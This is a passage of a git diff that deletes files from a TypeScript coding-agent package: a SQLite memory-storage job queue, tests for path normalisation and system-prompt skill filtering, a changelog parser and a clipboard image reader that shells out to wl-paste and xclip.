mkdtempSync(join(tmpdir(), "sf-memory-storage-test-")); -} - -describe("MemoryStorage node:sqlite persistence", () => { - let dir: string; - - afterEach(() => { - if (dir) { - rmSync(dir, { recursive: true, force: true }); - } - }); - - it("multiple rapid mutations are immediately queryable", async () => { - dir = makeTmpDir(); - const dbPath = join(dir, "test.db"); - const storage = await MemoryStorage.create(dbPath); - - storage.upsertThreads([ - { - threadId: "t1", - filePath: "/a.txt", - fileSize: 100, - fileMtime: 1000, - cwd: "/proj", - }, - ]); - storage.upsertThreads([ - { - threadId: "t2", - filePath: "/b.txt", - fileSize: 200, - fileMtime: 2000, - cwd: "/proj", - }, - ]); - storage.upsertThreads([ - { - threadId: "t3", - filePath: "/c.txt", - fileSize: 300, - fileMtime: 3000, - cwd: "/proj", - }, - ]); - - assert.equal(existsSync(dbPath), true); - const stats = storage.getStats(); - assert.equal(stats.totalThreads, 3); - - storage.close(); - }); - - it("close() releases the database and persisted rows reopen", async () => { - dir = makeTmpDir(); - const dbPath = join(dir, "test.db"); - const storage = await MemoryStorage.create(dbPath); - - storage.upsertThreads([ - { - threadId: "t1", - filePath: "/a.txt", - fileSize: 100, - fileMtime: 1000, - cwd: "/proj", - }, - ]); - - storage.close(); - - const reopened = await MemoryStorage.create(dbPath); - const stats = reopened.getStats(); - assert.equal( - stats.totalThreads, - 1, - "Data should be persisted and readable after close", - ); - reopened.close(); - }); -}); diff --git a/packages/pi-coding-agent/src/resources/extensions/memory/storage.ts b/packages/pi-coding-agent/src/resources/extensions/memory/storage.ts deleted file mode 100644 index 839a20bf4..000000000 --- a/packages/pi-coding-agent/src/resources/extensions/memory/storage.ts +++ /dev/null @@ -1,458 +0,0 @@ -/** - * SQLite storage for the memory extraction pipeline. - * - * Tables: - * - threads: tracks session files and their processing state - * - stage1_outputs: stores per-thread extraction results - * - jobs: lease-based job queue for pipeline phases - */ - -import { randomUUID } from "node:crypto"; -import { existsSync, mkdirSync } from "node:fs"; -import { dirname } from "node:path"; -import { DatabaseSync, type SQLInputValue } from "node:sqlite"; - -export interface ThreadRow { - thread_id: string; - file_path: string; - file_size: number; - file_mtime: number; - cwd: string; - status: "pending" | "processing" | "done" | "error"; - error_message: string | null; - created_at: string; - updated_at: string; -} - -export interface Stage1OutputRow { - thread_id: string; - extraction_json: string; - created_at: string; -} - -export interface JobRow { - id: string; - phase: "stage1" | "stage2"; - thread_id: string | null; - status: "pending" | "claimed" | "done" | "error"; - worker_id: string | null; - ownership_token: string | null; - lease_expires_at: string | null; - error_message: string | null; - created_at: string; - updated_at: string; -} - -export class MemoryStorage { - private db: DatabaseSync; - - private constructor(db: DatabaseSync) { - this.db = db; - } - - static async create(dbPath: string): Promise { - const dir = dirname(dbPath); - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true }); - } - - const db = new DatabaseSync(dbPath); - - db.exec("PRAGMA journal_mode = WAL"); - db.exec("PRAGMA synchronous = NORMAL"); - db.exec("PRAGMA busy_timeout = 5000"); - - const storage = new MemoryStorage(db); - storage.initSchema(); - return storage; - } - - private run(sql: string, params: unknown[] = []): void { - this.db.prepare(sql).run(...(params as SQLInputValue[])); - } - - private initSchema(): void { - this.db.exec(` - CREATE TABLE IF NOT EXISTS threads ( - thread_id TEXT PRIMARY KEY, - file_path TEXT NOT NULL, - file_size INTEGER NOT NULL DEFAULT 0, - file_mtime INTEGER NOT NULL DEFAULT 0, - cwd TEXT NOT NULL DEFAULT '', - status TEXT NOT NULL DEFAULT 'pending', - error_message TEXT, - created_at TEXT NOT NULL DEFAULT (datetime('now')), - updated_at TEXT NOT NULL DEFAULT (datetime('now')) - ) - `); - this.db.exec(` - CREATE TABLE IF NOT EXISTS stage1_outputs ( - thread_id TEXT PRIMARY KEY, - extraction_json TEXT NOT NULL, - created_at TEXT NOT NULL DEFAULT (datetime('now')), - FOREIGN KEY (thread_id) REFERENCES threads(thread_id) ON DELETE CASCADE - ) - `); - this.db.exec(` - CREATE TABLE IF NOT EXISTS jobs ( - id TEXT PRIMARY KEY, - phase TEXT NOT NULL, - thread_id TEXT, - status TEXT NOT NULL DEFAULT 'pending', - worker_id TEXT, - ownership_token TEXT, - lease_expires_at TEXT, - error_message TEXT, - created_at TEXT NOT NULL DEFAULT (datetime('now')), - updated_at TEXT NOT NULL DEFAULT (datetime('now')) - ) - `); - this.db.exec( - "CREATE INDEX IF NOT EXISTS idx_jobs_phase_status ON jobs(phase, status)", - ); - this.db.exec( - "CREATE INDEX IF NOT EXISTS idx_threads_status ON threads(status)", - ); - this.db.exec("CREATE INDEX IF NOT EXISTS idx_threads_cwd ON threads(cwd)"); - } - - private queryAll(sql: string, params: unknown[] = []): T[] { - return this.db.prepare(sql).all(...(params as SQLInputValue[])) as T[]; - } - - private queryOne(sql: string, params: unknown[] = []): T | undefined { - return this.db.prepare(sql).get(...(params as SQLInputValue[])) as - | T - | undefined; - } - - /** - * Insert or update thread records. Skips threads whose file hasn't changed - * (same size + mtime = watermark match). - */ - upsertThreads( - threads: Array<{ - threadId: string; - filePath: string; - fileSize: number; - fileMtime: number; - cwd: string; - }>, - ): { inserted: number; updated: number; skipped: number } { - let inserted = 0; - let updated = 0; - let skipped = 0; - - for (const t of threads) { - const existing = this.queryOne<{ - file_size: number; - file_mtime: number; - status: string; - }>( - "SELECT file_size, file_mtime, status FROM threads WHERE thread_id = ?", - [t.threadId], - ); - - if (!existing) { - this.run( - "INSERT INTO threads (thread_id, file_path, file_size, file_mtime, cwd, status) VALUES (?, ?, ?, ?, ?, 'pending')", - [t.threadId, t.filePath, t.fileSize, t.fileMtime, t.cwd], - ); - this.run( - "INSERT OR IGNORE INTO jobs (id, phase, thread_id, status) VALUES (?, 'stage1', ?, 'pending')", - [randomUUID(), t.threadId], - ); - inserted++; - } else if ( - existing.file_size !== t.fileSize || - existing.file_mtime !== t.fileMtime - ) { - this.run( - "UPDATE threads SET file_path = ?, file_size = ?, file_mtime = ?, cwd = ?, status = 'pending', updated_at = datetime('now') WHERE thread_id = ?", - [t.filePath, t.fileSize, t.fileMtime, t.cwd, t.threadId], - ); - if (existing.status === "done" || existing.status === "error") { - this.run( - "INSERT OR IGNORE INTO jobs (id, phase, thread_id, status) VALUES (?, 'stage1', ?, 'pending')", - [randomUUID(), t.threadId], - ); - } - updated++; - } else { - skipped++; - } - } - - return { inserted, updated, skipped }; - } - - /** - * Claim up to `limit` stage1 jobs for the given worker. - * Uses lease-based ownership with an ownership_token UUID. - */ - claimStage1Jobs( - workerId: string, - limit: number, - leaseSeconds: number, - ): Array<{ jobId: string; threadId: string; ownershipToken: string }> { - const token = randomUUID(); - const expiresAt = new Date(Date.now() + leaseSeconds * 1000).toISOString(); - - this.run( - `UPDATE jobs SET - status = 'claimed', - worker_id = ?, - ownership_token = ?, - lease_expires_at = ?, - updated_at = datetime('now') - WHERE id IN ( - SELECT id FROM jobs - WHERE phase = 'stage1' - AND (status = 'pending' OR (status = 'claimed' AND lease_expires_at < datetime('now'))) - LIMIT ? - )`, - [workerId, token, expiresAt, limit], - ); - - const rows = this.queryAll<{ id: string; thread_id: string }>( - "SELECT id, thread_id FROM jobs WHERE ownership_token = ? AND status = 'claimed'", - [token], - ); - - return rows.map((r) => ({ - jobId: r.id, - threadId: r.thread_id, - ownershipToken: token, - })); - } - - /** - * Mark a stage1 job as complete and store the extraction output. - */ - completeStage1Job(threadId: string, output: string): void { - this.run( - "UPDATE jobs SET status = 'done', updated_at = datetime('now') WHERE thread_id = ? AND phase = 'stage1' AND status = 'claimed'", - [threadId], - ); - this.run( - "INSERT OR REPLACE INTO stage1_outputs (thread_id, extraction_json, created_at) VALUES (?, ?, datetime('now'))", - [threadId, output], - ); - this.run( - "UPDATE threads SET status = 'done', updated_at = datetime('now') WHERE thread_id = ?", - [threadId], - ); - } - - /** - * Mark a stage1 job as errored. - */ - failStage1Job(threadId: string, errorMessage: string): void { - this.run( - "UPDATE jobs SET status = 'error', error_message = ?, updated_at = datetime('now') WHERE thread_id = ? AND phase = 'stage1' AND status = 'claimed'", - [errorMessage, threadId], - ); - this.run( - "UPDATE threads SET status = 'error', error_message = ?, updated_at = datetime('now') WHERE thread_id = ?", - [errorMessage, threadId], - ); - } - - /** - * Try to claim the global phase 2 consolidation job. - * Only one worker can hold this at a time. - */ - tryClaimGlobalPhase2Job( - workerId: string, - leaseSeconds: number, - ): { jobId: string; ownershipToken: string } | null { - const token = randomUUID(); - const expiresAt = new Date(Date.now() + leaseSeconds * 1000).toISOString(); - - const pendingStage1 = this.queryOne<{ cnt: number }>( - "SELECT COUNT(*) as cnt FROM jobs WHERE phase = 'stage1' AND status IN ('pending', 'claimed')", - ); - - if (pendingStage1 && pendingStage1.cnt > 0) { - return null; - } - - const existingPhase2 = this.queryOne<{ id: string }>( - "SELECT id FROM jobs WHERE phase = 'stage2' AND status = 'claimed' AND lease_expires_at > datetime('now')", - ); - - if (existingPhase2) { - return null; - } - - const outputCount = this.queryOne<{ cnt: number }>( - "SELECT COUNT(*) as cnt FROM stage1_outputs", - ); - - if (!outputCount || outputCount.cnt === 0) { - return null; - } - - const jobId = randomUUID(); - this.run( - "INSERT INTO jobs (id, phase, status, worker_id, ownership_token, lease_expires_at) VALUES (?, 'stage2', 'claimed', ?, ?, ?)", - [jobId, workerId, token, expiresAt], - ); - - return { jobId, ownershipToken: token }; - } - - /** - * Complete the phase 2 consolidation job. - */ - completePhase2Job(jobId: string): void { - this.run( - "UPDATE jobs SET status = 'done', updated_at = datetime('now') WHERE id = ? AND phase = 'stage2'", - [jobId], - ); - } - - /** - * Get all stage1 extraction outputs. - */ - getStage1Outputs(): Array<{ threadId: string; extractionJson: string }> { - const rows = this.queryAll<{ thread_id: string; extraction_json: string }>( - "SELECT thread_id, extraction_json FROM stage1_outputs", - ); - - return rows.map((r) => ({ - threadId: r.thread_id, - extractionJson: r.extraction_json, - })); - } - - /** - * Get all stage1 outputs for a specific cwd. - */ - getStage1OutputsForCwd( - cwd: string, - ): Array<{ threadId: string; extractionJson: string }> { - const rows = this.queryAll<{ thread_id: string; extraction_json: string }>( - `SELECT s.thread_id, s.extraction_json FROM stage1_outputs s - INNER JOIN threads t ON t.thread_id = s.thread_id - WHERE t.cwd = ?`, - [cwd], - ); - - return rows.map((r) => ({ - threadId: r.thread_id, - extractionJson: r.extraction_json, - })); - } - - /** - * Get thread info by ID. - */ - getThread(threadId: string): ThreadRow | undefined { - return this.queryOne( - "SELECT * FROM threads WHERE thread_id = ?", - [threadId], - ); - } - - /** - * Get pipeline statistics. - */ - getStats(): { - totalThreads: number; - pendingThreads: number; - doneThreads: number; - errorThreads: number; - totalStage1Outputs: number; - pendingStage1Jobs: number; - } { - const threads = this.queryOne<{ - total: number; - pending: number; - done: number; - errors: number; - }>(` - SELECT - COUNT(*) as total, - SUM(CASE WHEN status = 'pending' THEN 1 ELSE 0 END) as pending, - SUM(CASE WHEN status = 'done' THEN 1 ELSE 0 END) as done, - SUM(CASE WHEN status = 'error' THEN 1 ELSE 0 END) as errors - FROM threads - `)!; - - const outputs = this.queryOne<{ cnt: number }>( - "SELECT COUNT(*) as cnt FROM stage1_outputs", - )!; - - const pendingJobs = this.queryOne<{ cnt: number }>( - "SELECT COUNT(*) as cnt FROM jobs WHERE phase = 'stage1' AND status IN ('pending', 'claimed')", - )!; - - return { - totalThreads: threads.total, - pendingThreads: threads.pending, - doneThreads: threads.done, - errorThreads: threads.errors, - totalStage1Outputs: outputs.cnt, - pendingStage1Jobs: pendingJobs.cnt, - }; - } - - /** - * Clear all data (for /memory clear). - */ - clearAll(): void { - this.db.exec("DELETE FROM stage1_outputs"); - this.db.exec("DELETE FROM jobs"); - this.db.exec("DELETE FROM threads"); - } - - /** - * Clear data for a specific cwd (for /memory clear in project scope). - */ - clearForCwd(cwd: string): void { - this.run( - "DELETE FROM stage1_outputs WHERE thread_id IN (SELECT thread_id FROM threads WHERE cwd = ?)", - [cwd], - ); - this.run( - "DELETE FROM jobs WHERE thread_id IN (SELECT thread_id FROM threads WHERE cwd = ?)", - [cwd], - ); - this.run("DELETE FROM threads WHERE cwd = ?", [cwd]); - } - - /** - * Reset all threads to pending (for /memory rebuild). - */ - resetAllForCwd(cwd: string): void { - this.run( - "DELETE FROM stage1_outputs WHERE thread_id IN (SELECT thread_id FROM threads WHERE cwd = ?)", - [cwd], - ); - this.run( - "DELETE FROM jobs WHERE thread_id IN (SELECT thread_id FROM threads WHERE cwd = ?)", - [cwd], - ); - this.run( - "UPDATE threads SET status = 'pending', updated_at = datetime('now') WHERE cwd = ?", - [cwd], - ); - - const threads = this.queryAll<{ thread_id: string }>( - "SELECT thread_id FROM threads WHERE cwd = ?", - [cwd], - ); - - for (const t of threads) { - this.run( - "INSERT INTO jobs (id, phase, thread_id, status) VALUES (?, 'stage1', ?, 'pending')", - [randomUUID(), t.thread_id], - ); - } - } - - close(): void { - this.db.close(); - } -} diff --git a/packages/pi-coding-agent/src/tests/path-display.test.ts b/packages/pi-coding-agent/src/tests/path-display.test.ts deleted file mode 100644 index 0bb76f211..000000000 --- a/packages/pi-coding-agent/src/tests/path-display.test.ts +++ /dev/null @@ -1,92 +0,0 @@ -/** - * Cross-platform path display tests. - * - * Verifies that toPosixPath correctly normalizes Windows paths and that - * the system prompt builder produces forward-slash paths for LLM consumption. - */ - -import assert from "node:assert/strict"; -import { test } from "vitest"; -import { buildSystemPrompt } from "../core/system-prompt.js"; -import { toPosixPath } from "../utils/path-display.js"; - -// ─── toPosixPath ──────────────────────────────────────────────────────────── - -test("toPosixPath: converts Windows backslash paths to forward slashes", () => { - assert.equal( - toPosixPath("C:\\Users\\name\\project"), - "C:/Users/name/project", - ); -}); - -test("toPosixPath: handles mixed separators", () => { - assert.equal( - toPosixPath("C:\\Users/name\\project/src"), - "C:/Users/name/project/src", - ); -}); - -test("toPosixPath: no-op for Unix paths", () => { - assert.equal(toPosixPath("/home/user/project"), "/home/user/project"); -}); - -test("toPosixPath: handles empty string", () => { - assert.equal(toPosixPath(""), ""); -}); - -test("toPosixPath: handles Windows UNC paths", () => { - assert.equal(toPosixPath("\\\\server\\share\\dir"), "//server/share/dir"); -}); - -test("toPosixPath: handles .sf/worktrees path on Windows", () => { - assert.equal( - toPosixPath("C:\\Users\\name\\project\\.sf\\worktrees\\M001"), - "C:/Users/name/project/.sf/worktrees/M001", - ); -}); - -// ─── System prompt path normalization ─────────────────────────────────────── - -test("buildSystemPrompt: cwd uses forward slashes even with Windows input", () => { - const prompt = buildSystemPrompt({ - cwd: "C:\\Users\\name\\development\\app-name", - }); - assert.ok( - prompt.includes("C:/Users/name/development/app-name"), - "System prompt should contain forward-slash path", - ); - assert.ok( - !prompt.includes("C:\\Users\\name\\development\\app-name"), - "System prompt must NOT contain backslash path", - ); -}); - -test("buildSystemPrompt: Unix paths pass through unchanged", () => { - const prompt = buildSystemPrompt({ - cwd: "/home/user/project", - }); - assert.ok(prompt.includes("/home/user/project")); -}); - -// ─── Regression: no backslash paths in LLM-visible text ──────────────────── - -/** - * Pattern that matches Windows-style absolute paths with backslashes. - * Catches: C:\Users\..., D:\Projects\..., \\server\share\... - * Does not match: escaped chars in regex, JSON strings, etc. - */ -const WINDOWS_ABS_PATH_RE = /[A-Z]:\\[A-Za-z]/; - -test("buildSystemPrompt: no Windows absolute paths with backslashes in output", () => { - // Simulate a Windows-like cwd - const prompt = buildSystemPrompt({ - cwd: "D:\\Projects\\my-app\\.sf\\worktrees\\M002", - }); - const lines = prompt.split("\n"); - const violations = lines.filter((line) => WINDOWS_ABS_PATH_RE.test(line)); - assert.equal( - violations.length, - 0, - `System prompt contains Windows backslash paths:\n${violations.join("\n")}`, - ); -}); diff --git a/packages/pi-coding-agent/src/tests/system-prompt-skill-filter.test.ts b/packages/pi-coding-agent/src/tests/system-prompt-skill-filter.test.ts deleted file mode 100644 index 723de194a..000000000 --- a/packages/pi-coding-agent/src/tests/system-prompt-skill-filter.test.ts +++ /dev/null @@ -1,181 +0,0 @@ -// @sf/pi-coding-agent + system-prompt-skill-filter.test — coverage for the -// optional `skillFilter` option added to buildSystemPrompt (RFC #4779). The -// filter lets consumers narrow the catalog rendered into -// the cached system prompt without touching skill loading or invocation. - -import assert from "node:assert/strict"; -import { test } from "vitest"; -import type { Skill } from "../core/skills.js"; -import { buildSystemPrompt } from "../core/system-prompt.js"; - -function makeSkill( - name: string, - description = `description for ${name}`, -): Skill { - return { - name, - description, - filePath: `/tmp/${name}/SKILL.md`, - baseDir: `/tmp/${name}`, - source: "project", - disableModelInvocation: false, - }; -} - -function extractAvailableSkills(prompt: string): string { - const start = prompt.indexOf(""); - const end = prompt.indexOf(""); - if (start === -1 || end === -1) return ""; - return prompt.slice(start, end + "".length); -} - -// ─── Default branch (no customPrompt) ────────────────────────────────────── - -test("buildSystemPrompt: skillFilter omits filtered-out skills from ", () => { - const skills = [makeSkill("alpha"), makeSkill("beta"), makeSkill("gamma")]; - const prompt = buildSystemPrompt({ - skills, - selectedTools: ["read", "Skill"], - skillFilter: (skill) => skill.name !== "beta", - }); - - const section = extractAvailableSkills(prompt); - assert.ok(section.length > 0, "catalog section should render"); - assert.match(section, /alpha<\/name>/); - assert.match(section, /gamma<\/name>/); - assert.doesNotMatch(section, /beta<\/name>/); -}); - -test("buildSystemPrompt: skillFilter omitted preserves pre-filter behavior (all skills render)", () => { - const skills = [makeSkill("alpha"), makeSkill("beta")]; - const prompt = buildSystemPrompt({ - skills, - selectedTools: ["read", "Skill"], - }); - - const section = extractAvailableSkills(prompt); - assert.match(section, /alpha<\/name>/); - assert.match(section, /beta<\/name>/); -}); - -test("buildSystemPrompt: skillFilter that rejects every skill suppresses the block", () => { - const skills = [makeSkill("alpha"), makeSkill("beta")]; - const prompt = buildSystemPrompt({ - skills, - selectedTools: ["read", "Skill"], - skillFilter: () => false, - }); - - // With zero visible skills, formatSkillsForPrompt returns an empty string, - // so the opening tag should not appear anywhere. - assert.ok(!prompt.includes("")); -}); - -// ─── Custom-prompt branch ────────────────────────────────────────────────── - -test("buildSystemPrompt (customPrompt): skillFilter applies to the catalog appended onto a custom prompt", () => { - const skills = [makeSkill("alpha"), makeSkill("beta"), makeSkill("gamma")]; - const prompt = buildSystemPrompt({ - customPrompt: "CUSTOM BASE", - skills, - selectedTools: ["read", "Skill"], - skillFilter: (skill) => skill.name === "alpha", - }); - - const section = extractAvailableSkills(prompt); - assert.match(section, /alpha<\/name>/); - assert.doesNotMatch(section, /beta<\/name>/); - assert.doesNotMatch(section, /gamma<\/name>/); -}); - -// ─── Interaction with disableModelInvocation ────────────────────────────── - -test("buildSystemPrompt: skillFilter composes with disableModelInvocation (both must pass)", () => { - // A skill already hidden from the catalog by disableModelInvocation must - // remain hidden even if skillFilter would otherwise admit it. The filter - // narrows, it does not override the existing invisibility contract. - const skills: Skill[] = [ - { ...makeSkill("visible"), disableModelInvocation: false }, - { ...makeSkill("hidden"), disableModelInvocation: true }, - ]; - const prompt = buildSystemPrompt({ - skills, - selectedTools: ["read", "Skill"], - skillFilter: () => true, - }); - - const section = extractAvailableSkills(prompt); - assert.match(section, /visible<\/name>/); - assert.doesNotMatch(section, /hidden<\/name>/); -}); - -// ─── Pass-through of non-filtered fields ────────────────────────────────── - -test("buildSystemPrompt: skillFilter does not affect context files or cwd rendering", () => { - const skills = [makeSkill("alpha")]; - const prompt = buildSystemPrompt({ - skills, - cwd: "/tmp/example", - contextFiles: [{ path: "CLAUDE.md", content: "project instructions" }], - selectedTools: ["read", "Skill"], - skillFilter: () => false, - }); - - assert.ok(prompt.includes("/tmp/example"), "cwd should still render"); - assert.ok( - prompt.includes("project instructions"), - "context files should still render", - ); - assert.ok( - !prompt.includes(""), - "no skill catalog when filter rejects all", - ); -}); - -// ─── Exception safety ───────────────────────────────────────────────────── - -test("buildSystemPrompt: skillFilter that throws falls back to unfiltered list and does not propagate", () => { - // A buggy consumer predicate must not bubble out of buildSystemPrompt. - // If it did, _rebuildSystemPrompt could unwind mid-setTools() and leave - // the session with updated tools but a stale system prompt. - const skills = [makeSkill("alpha"), makeSkill("beta")]; - - // Suppress the console.warn the fallback emits so test output stays clean. - const originalWarn = console.warn; - const warnings: string[] = []; - console.warn = (...args: unknown[]) => { - warnings.push(args.join(" ")); - }; - try { - let prompt = ""; - assert.doesNotThrow(() => { - prompt = buildSystemPrompt({ - skills, - selectedTools: ["read", "Skill"], - skillFilter: () => { - throw new Error("consumer bug"); - }, - }); - }); - - const section = extractAvailableSkills(prompt); - assert.match( - section, - /alpha<\/name>/, - "alpha should render (fallback to unfiltered)", - ); - assert.match( - section, - /beta<\/name>/, - "beta should render (fallback to unfiltered)", - ); - assert.ok( - warnings.some( - (w) => w.includes("skillFilter threw") && w.includes("consumer bug"), - ), - "fallback should emit an identifying warning", - ); - } finally { - console.warn = originalWarn; - } -}); diff --git a/packages/pi-coding-agent/src/types/ambient-modules.d.ts b/packages/pi-coding-agent/src/types/ambient-modules.d.ts deleted file mode 100644 index 433a803ef..000000000 --- a/packages/pi-coding-agent/src/types/ambient-modules.d.ts +++ /dev/null @@ -1,43 +0,0 @@ -declare module "proper-lockfile" { - export interface RetryOptions { - retries?: number; - factor?: number; - minTimeout?: number; - maxTimeout?: number; - randomize?: boolean; - } - - export interface LockOptions { - realpath?: boolean; - retries?: number | RetryOptions; - stale?: number; - onCompromised?: (err: Error) => void; - } - - export type ReleaseSync = () => void; - export type ReleaseAsync = () => Promise; - - export interface ProperLockfileApi { - lockSync(path: string, options?: LockOptions): ReleaseSync; - lock(path: string, options?: LockOptions): Promise; - } - - const lockfile: ProperLockfileApi; - export default lockfile; -} - -declare module "hosted-git-info" { - export interface HostedGitInfo { - domain?: string; - user?: string; - project?: string; - committish?: string; - } - - export interface HostedGitInfoApi { - fromUrl(url: string): HostedGitInfo | undefined; - } - - const hostedGitInfo: HostedGitInfoApi; - export default hostedGitInfo; -} diff --git a/packages/pi-coding-agent/src/utils/changelog.ts b/packages/pi-coding-agent/src/utils/changelog.ts deleted file mode 100644 index c05fd0294..000000000 --- a/packages/pi-coding-agent/src/utils/changelog.ts +++ /dev/null @@ -1,103 +0,0 @@ -import { existsSync, readFileSync } from "node:fs"; - -export interface ChangelogEntry { - major: number; - minor: number; - patch: number; - content: string; -} - -/** - * Parse changelog entries from CHANGELOG.md - * Scans for ## lines and collects content until next ## or EOF - */ -export function parseChangelog(changelogPath: string): ChangelogEntry[] { - if (!existsSync(changelogPath)) { - return []; - } - - try { - const content = readFileSync(changelogPath, "utf-8"); - const lines = content.split("\n"); - const entries: ChangelogEntry[] = []; - - let currentLines: string[] = []; - let currentVersion: { major: number; minor: number; patch: number } | null = - null; - - for (const line of lines) { - // Check if this is a version header (## [x.y.z] ...) - if (line.startsWith("## ")) { - // Save previous entry if exists - if (currentVersion && currentLines.length > 0) { - entries.push({ - ...currentVersion, - content: currentLines.join("\n").trim(), - }); - } - - // Try to parse version from this line - const versionMatch = line.match(/##\s+\[?(\d+)\.(\d+)\.(\d+)\]?/); - if (versionMatch) { - currentVersion = { - major: Number.parseInt(versionMatch[1], 10), - minor: Number.parseInt(versionMatch[2], 10), - patch: Number.parseInt(versionMatch[3], 10), - }; - currentLines = [line]; - } else { - // Reset if we can't parse version - currentVersion = null; - currentLines = []; - } - } else if (currentVersion) { - // Collect lines for current version - currentLines.push(line); - } - } - - // Save last entry - if (currentVersion && currentLines.length > 0) { - entries.push({ - ...currentVersion, - content: currentLines.join("\n").trim(), - }); - } - - return entries; - } catch (error) { - console.error(`Warning: Could not parse changelog: ${error}`); - return []; - } -} - -/** - * Compare versions. Returns: -1 if v1 < v2, 0 if v1 === v2, 1 if v1 > v2 - */ -function compareVersions(v1: ChangelogEntry, v2: ChangelogEntry): number { - if (v1.major !== v2.major) return v1.major - v2.major; - if (v1.minor !== v2.minor) return v1.minor - v2.minor; - return v1.patch - v2.patch; -} - -/** - * Get entries newer than lastVersion - */ -export function getNewEntries( - entries: ChangelogEntry[], - lastVersion: string, -): ChangelogEntry[] { - // Parse lastVersion - const parts = lastVersion.split(".").map(Number); - const last: ChangelogEntry = { - major: parts[0] || 0, - minor: parts[1] || 0, - patch: parts[2] || 0, - content: "", - }; - - return entries.filter((entry) => compareVersions(entry, last) > 0); -} - -// Re-export getChangelogPath from paths.ts for convenience -export { getChangelogPath } from "../config.js"; diff --git a/packages/pi-coding-agent/src/utils/clipboard-image.ts b/packages/pi-coding-agent/src/utils/clipboard-image.ts deleted file mode 100644 index 29ddf9273..000000000 --- a/packages/pi-coding-agent/src/utils/clipboard-image.ts +++ /dev/null @@ -1,267 +0,0 @@ -import { spawnSync } from "node:child_process"; -import { readImageFromClipboard as nativeReadImage } from "@singularity-forge/native/clipboard"; -import { ImageFormat, parseImage } from "@singularity-forge/native/image"; - -export type ClipboardImage = { - bytes: Uint8Array; - mimeType: string; -}; - -const SUPPORTED_IMAGE_MIME_TYPES = [ - "image/png", - "image/jpeg", - "image/webp", - "image/gif", -] as const; - -const DEFAULT_LIST_TIMEOUT_MS = 1000; -const DEFAULT_READ_TIMEOUT_MS = 3000; -const DEFAULT_MAX_BUFFER_BYTES = 50 * 1024 * 1024; - -function isWaylandSession(env: NodeJS.ProcessEnv = process.env): boolean { - return Boolean(env.WAYLAND_DISPLAY) || env.XDG_SESSION_TYPE === "wayland"; -} - -function baseMimeType(mimeType: string): string { - return mimeType.split(";")[0]?.trim().toLowerCase() ?? mimeType.toLowerCase(); -} - -export function extensionForImageMimeType(mimeType: string): string | null { - switch (baseMimeType(mimeType)) { - case "image/png": - return "png"; - case "image/jpeg": - return "jpg"; - case "image/webp": - return "webp"; - case "image/gif": - return "gif"; - default: - return null; - } -} - -function selectPreferredImageMimeType(mimeTypes: string[]): string | null { - const normalized = mimeTypes - .map((t) => t.trim()) - .filter(Boolean) - .map((t) => ({ raw: t, base: baseMimeType(t) })); - - for (const preferred of SUPPORTED_IMAGE_MIME_TYPES) { - const match = normalized.find((t) => t.base === preferred); - if (match) { - return match.raw; - } - } - - const anyImage = normalized.find((t) => t.base.startsWith("image/")); - return anyImage?.raw ?? null; -} - -function isSupportedImageMimeType(mimeType: string): boolean { - const base = baseMimeType(mimeType); - return SUPPORTED_IMAGE_MIME_TYPES.some((t) => t === base); -} - -/** - * Convert unsupported image formats to PNG using the native Rust image module. - * Returns null if conversion fails. - */ -async function convertToPng(bytes: Uint8Array): Promise { - try { - const image = await parseImage(bytes); - const pngBytes = await image.encode(ImageFormat.PNG, 100); - return new Uint8Array(pngBytes); - } catch { - return null; - } -} - -function runCommand( - command: string, - args: string[], - options?: { timeoutMs?: number; maxBufferBytes?: number }, -): { stdout: Buffer; ok: boolean } { - const timeoutMs = options?.timeoutMs ?? DEFAULT_READ_TIMEOUT_MS; - const maxBufferBytes = options?.maxBufferBytes ?? DEFAULT_MAX_BUFFER_BYTES; - - const result = spawnSync(command, args, { - timeout: timeoutMs, - maxBuffer: maxBufferBytes, - }); - - if (result.error) { - return { ok: false, stdout: Buffer.alloc(0) }; - } - - if (result.status !== 0) { - return { ok: false, stdout: Buffer.alloc(0) }; - } - - const stdout = Buffer.isBuffer(result.stdout) - ? result.stdout - : Buffer.from( - result.stdout ?? "", - typeof result.stdout === "string" ? "utf-8" : undefined, - ); - - return { ok: true, stdout }; -} - -function readClipboardImageViaWlPaste(): ClipboardImage | null { - const list = runCommand("wl-paste", ["--list-types"], { - timeoutMs: DEFAULT_LIST_TIMEOUT_MS, - }); - if (!list.ok) { - return null; - } - - const types = list.stdout - .toString("utf-8") - .split(/\r?\n/) - .map((t) => t.trim()) - .filter(Boolean); - - const selectedType = selectPreferredImageMimeType(types); - if (selectedType) { - const data = runCommand("wl-paste", [ - "--type", - selectedType, - "--no-newline", - ]); - if (data.ok && data.stdout.length > 0) { - return { bytes: data.stdout, mimeType: baseMimeType(selectedType) }; - } - } - - // Fallback for WSLg/BMP: when only image/bmp is available, ask wl-paste - // to convert to PNG on the fly. wl-paste supports format conversion for - // some compositor types. If that fails, try reading BMP and converting - // via ImageMagick (#813). - const hasBmp = types.some((t) => baseMimeType(t) === "image/bmp"); - if (!selectedType && hasBmp) { - // Try requesting PNG directly — wl-paste may convert - const pngData = runCommand("wl-paste", [ - "--type", - "image/png", - "--no-newline", - ]); - if (pngData.ok && pngData.stdout.length > 0) { - return { bytes: pngData.stdout, mimeType: "image/png" }; - } - - // Try reading BMP and converting via ImageMagick convert - const bmpData = runCommand("wl-paste", [ - "--type", - "image/bmp", - "--no-newline", - ]); - if (bmpData.ok && bmpData.stdout.length > 0) { - const converted = spawnSync("convert", ["bmp:-", "png:-"], { - input: bmpData.stdout, - timeout: 5000, - maxBuffer: DEFAULT_MAX_BUFFER_BYTES, - }); - if ( - !converted.error && - converted.status === 0 && - converted.stdout.length > 0 - ) { - const stdout = Buffer.isBuffer(converted.stdout) - ? converted.stdout - : Buffer.from(converted.stdout); - return { bytes: stdout, mimeType: "image/png" }; - } - } - } - - return null; -} - -function readClipboardImageViaXclip(): ClipboardImage | null { - const targets = runCommand( - "xclip", - ["-selection", "clipboard", "-t", "TARGETS", "-o"], - { - timeoutMs: DEFAULT_LIST_TIMEOUT_MS, - }, - ); - - let candidateTypes: string[] = []; - if (targets.ok) { - candidateTypes = targets.stdout - .toString("utf-8") - .split(/\r?\n/) - .map((t) => t.trim()) - .filter(Boolean); - } - - const preferred = - candidateTypes.length > 0 - ? selectPreferredImageMimeType(candidateTypes) - : null; - const tryTypes = preferred - ? [preferred, ...SUPPORTED_IMAGE_MIME_TYPES] - : [...SUPPORTED_IMAGE_MIME_TYPES]; - - for (const mimeType of tryTypes) { - const data = runCommand("xclip", [ - "-selection", - "clipboard", - "-t", - mimeType, - "-o", - ]); - if (data.ok && data.stdout.length > 